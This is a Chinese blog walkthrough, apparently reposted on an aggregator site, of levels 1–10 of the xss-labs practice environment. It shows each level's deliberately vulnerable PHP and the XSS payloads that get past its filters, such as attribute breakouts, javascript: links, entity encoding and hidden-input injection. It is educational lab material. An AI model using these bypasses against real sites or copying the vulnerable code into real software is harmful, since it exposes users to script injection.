IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> xss-labl 练习 (1--10关) -> 正文阅读

[PHP知识库]xss-labl 练习 (1--10关)

xss-lab

第一关

在这里插入图片描述

将name的值直接输出

可以利用

<script>alert(1)</script>

弹窗

在这里插入图片描述

第二关

使用第一关的方法

在这里插入图片描述

行不通

查看php源代码,在github上下载

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 

<h2>部分有htmlspecialchars函数对其进行了过滤


(htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。)


<input name=keyword value="'.$str.'">部分,未进行过滤

可以将input闭合

"><script>alert(1)</script>

在这里插入图片描述

第三关

在这里插入图片描述

会将搜索框的内容展示出来

尝试<>()

在这里插入图片描述

会进行过滤

查看源代码之后发现

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 

input处也进行了过滤,但是没有过滤

不能使用<script>alert(1)</script>

因为对<>进行了过滤

使用

'onclick='alert(1)

在这里插入图片描述

点击搜索框之后

在这里插入图片描述

第四关

尝试使用<script>alert(1)</script>发现<>被过滤
在这里插入图片描述

尝试用’οnclick=‘alert(1)

在这里插入图片描述

并没有作用

尝试

"onclick="alert(1)

在这里插入图片描述

点击之后

成功

查看源代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

发现

$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

对<>进行了过滤

input处可以采用""来闭合

第五关

尝试<script>alert(1)</script>

在这里插入图片描述

script被过滤成scr_ipt

尝试οnclick=alaert(1)

在这里插入图片描述

onclick被过滤成o_nclick

所以采用其他标签构建

<a href="javascript:alert(1)">

在这里插入图片描述

要对前面进行闭合、

"><a href="javascript:alert(1)">

在这里插入图片描述

点击产生的超链接

在这里插入图片描述

查看源代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

对关键字<script替换成<scr_ipt,关键字on替换成o_n

input处使用:>进行闭合

<a>标签定义超链接,用于从一个页面链接到另一个页面。

<a>元素最重要的属性是 href 属性,它指定链接的目标。

第六关

经过测试之后,发现他对script onclick href均会过滤

用">可以将前面进行闭合

使用大写的HREF尝试

在这里插入图片描述

在这里插入图片描述

(在被过滤的情况下,使用大写字符尝试)

第七关

尝试<script>alert(1)</script>

发现对script进行了过滤

我们尝试将script中间插入script

在这里插入图片描述

可以输出成为script

前面加上">进行闭合

在这里插入图片描述

查看源代码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

strtolower()把所有字符转换为小写

故可屏蔽大小写

$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

将script、on、src、data、href均替换为空

第八关

通过友情连接进行注入

javascript:alert(1)

在这里插入图片描述

script变为scr_ipt

大佬说用html实体转换进行绕过

在这里插入图片描述

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

在这里插入图片描述

在这里插入图片描述

源代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

第九关

尝试上一关的代码

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

在这里插入图片描述

被判断为不合法

查看源代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

输入不含http://则会判定为不合法

故构造

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('http://')

在这里插入图片描述

在这里插入图片描述

strpos()函数:查找字符串在另一字符串中第一次出现的位置

不存在则执行if中的语句,判断为不合法

第十关

在这里插入图片描述

有keyword的存在,却没有输入框

毫无思绪

查看源代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

keyname并不是要注入的地方,真正注入的地方是三个input,但是这三个input被隐藏了

大佬说构造出

/level10.php?t_sort="onclick=alert(1) type=text"

在这里插入图片描述

点击输入框

在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-10 11:30:34  更:2021-07-10 11:30:55 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/30 0:24:43-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码